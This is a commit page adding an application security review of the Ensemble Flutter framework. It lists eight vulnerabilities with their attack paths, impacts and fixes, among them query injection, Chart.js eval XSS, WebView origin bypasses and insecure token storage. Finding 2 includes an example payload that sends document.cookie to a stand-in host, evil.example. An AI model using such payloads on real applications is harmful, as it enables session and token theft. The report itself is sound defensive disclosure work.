Skip to content

Commit e5ca964

Browse files
docs: add 2026-06-25 application security review report
Co-authored-by: Sharjeel Yunus <sharjeelyunus@users.noreply.github.com>
1 parent b1e1460 commit e5ca964

1 file changed

Lines changed: 77 additions & 0 deletions

File tree

security-review-2026-06-25.md

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
# Application Security Review — 2026-06-25
2+
3+
## Summary
4+
5+
Four validated medium+ vulnerabilities fixed with separate branches. PR automation created/updated PRs where integration permissions allowed; all fix branches are pushed to origin for review.
6+
7+
## Findings with fixes
8+
9+
### 1. invokeAPI / SSE query parameter injection — Medium
10+
11+
- **Location:** `modules/ensemble/lib/framework/apiproviders/http_api_provider.dart`, `sse_api_provider.dart`
12+
- **Attacker:** External user whose input flows into API `parameters` via YAML expression evaluation (e.g. `${searchInput}`)
13+
- **Controlled input:** Parameter values containing `&` or `=` (e.g. `foo&role=admin`)
14+
- **Attack path:** User input → `invokeAPI` GET/DELETE parameters → unencoded URL concatenation → backend receives injected query pairs
15+
- **Impact:** HTTP parameter pollution; may bypass filters, alter authorization checks, or change API semantics on backends with inconsistent parameter precedence
16+
- **Remediation:** `appendEncodedQueryParameters()` using `Uri.replace(queryParameters:)`
17+
- **PR status:** PR created — https://github.com/EnsembleUI/ensemble/pull/2301 (branch `security/fix-api-query-param-injection`)
18+
19+
### 2. Chart.js config injection into eval/HTML — High
20+
21+
- **Location:** `modules/ensemble/lib/widget/visualization/chart_js/`, `modules/ensemble/lib/util/chart_utils.dart`
22+
- **Attacker:** External party controlling API response data or user input bound to ChartJs `config`
23+
- **Controlled input:** Malicious string such as `{});fetch('https://evil.example?c='+document.cookie);//`
24+
- **Attack path:** Untrusted string config → interpolated into `JsWidget.scriptToInstantiate` / `loadHtmlString` → browser `eval()` or WebView inline JS → arbitrary JS in app origin
25+
- **Impact:** XSS on web; session/token theft; actions as the victim user within the app origin
26+
- **Remediation:** Validate string configs as JSON via `jsonEncode(jsonDecode(...))`; preserve trusted Map configs via `configFromMap`; restrict chart `id` charset
27+
- **PR status:** PR created — https://github.com/EnsembleUI/ensemble/pull/2302 (automation branch; also `security/fix-chartjs-eval-injection`)
28+
29+
### 3. TabaPay WebView postMessage origin bypass — High
30+
31+
- **Location:** `modules/ensemble/lib/widget/fintech/tabapayconnect.dart`
32+
- **Attacker:** Cross-origin frame, opener, or embedded page that can call `postMessage`
33+
- **Controlled input:** Forged pipe-delimited TabaPay success payload
34+
- **Attack path:** TabaPay WebView installs unrestricted `message` listener → attacker `postMessage``_handleTabaPayMessage` treats spoofed payload as success → `onSuccess` runs with attacker-controlled token fields
35+
- **Impact:** Fraudulent payment token capture; unauthorized triggering of financial success handlers
36+
- **Remediation:** `buildTabaPayPostMessageListenerScript()` requires `event.origin` to match configured iframe URL origin; fail closed for non-http(s) URIs
37+
- **PR status:** Branch pushed — `security/fix-tabapay-post-message` (compare: https://github.com/EnsembleUI/ensemble/compare/main...security/fix-tabapay-post-message)
38+
39+
### 4. Native WebView JavaScript channel origin bypass — High
40+
41+
- **Location:** `modules/ensemble/lib/widget/webview/native/webviewstate.dart`
42+
- **Attacker:** Cross-origin page loaded inside `InAppWebView` after navigation
43+
- **Controlled input:** Arbitrary arguments passed to registered JavaScript channel handlers
44+
- **Attack path:** WebView loads trusted URL with `javascriptChannels` → user navigates or page loads cross-origin content → attacker script invokes handler → YAML-configured action executes without origin check
45+
- **Impact:** Unauthorized navigation, API invocation, or other actions wired to JS channels
46+
- **Remediation:** Compare `controller.getUrl()` origin to allowed origin from configured WebView URL before executing channel callbacks
47+
- **PR status:** Branch pushed — `security/fix-webview-js-bridge` (compare: https://github.com/EnsembleUI/ensemble/compare/main...security/fix-webview-js-bridge)
48+
49+
## Findings without PRs
50+
51+
### 5. OAuth/API fail-open when token missing — High
52+
53+
- **Location:** `http_api_provider.dart` (authorization block)
54+
- **Attack path:** API with `authorization.oauthId` configured → `authorize()` returns null → request proceeds without `Authorization` header
55+
- **Impact:** Sensitive API calls may reach backend unauthenticated
56+
- **PR status:** No PR created: requires owner input (may break apps relying on optional auth)
57+
58+
### 6. Unrestricted outbound HTTP (client-side SSRF) — Medium–High
59+
60+
- **Location:** `http_api_provider.dart`, `invokablefetch.dart`
61+
- **Attack path:** Evaluated URL from YAML/JS → requests to internal/metadata endpoints
62+
- **Impact:** Internal network probing from user devices
63+
- **PR status:** No PR created: requires owner input (URL policy definition)
64+
65+
### 7. Server credentials in non-secure GetStorage — High
66+
67+
- **Location:** `modules/auth/lib/signin/auth_manager.dart`
68+
- **Attack path:** Bearer tokens in `user.data` persisted via plaintext GetStorage
69+
- **Impact:** Credential theft on compromised devices
70+
- **PR status:** No PR created: requires owner input (auth storage migration)
71+
72+
### 8. Deep link screen navigation without allowlist — Medium
73+
74+
- **Location:** `modules/ensemble/lib/deep_link_manager.dart`
75+
- **Attack path:** `myapp://?screenName=AdminPanel` → direct navigation (screen id validation prevents path traversal but not authorization)
76+
- **Impact:** Access screens intended to be gated by in-app auth
77+
- **PR status:** No PR created: requires owner input (per-app policy)

0 commit comments

Comments
 (0)